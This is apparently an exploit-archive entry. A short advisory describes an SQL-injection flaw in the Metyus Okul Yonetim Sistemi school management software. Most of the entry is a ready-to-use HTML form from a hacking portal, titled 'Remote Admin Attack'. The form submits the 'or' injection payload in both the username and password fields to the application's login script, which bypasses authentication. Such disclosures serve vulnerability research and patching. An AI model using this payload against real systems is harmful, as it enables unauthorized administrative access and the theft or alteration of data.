source: http://www.securityfocus.com/bid/21418/info

Metyus Okul Yonetim Sistemi is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title> <center>ShaFuck31 - LiderHack.Org</center> <FORM NAME=giris ACTION="http://victim.com/[path to script]/uye_giris_islem.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici_ismi class="input" value="'or'" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=sifre TYPE=text class="input" value="'or'" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> </tr></table></form>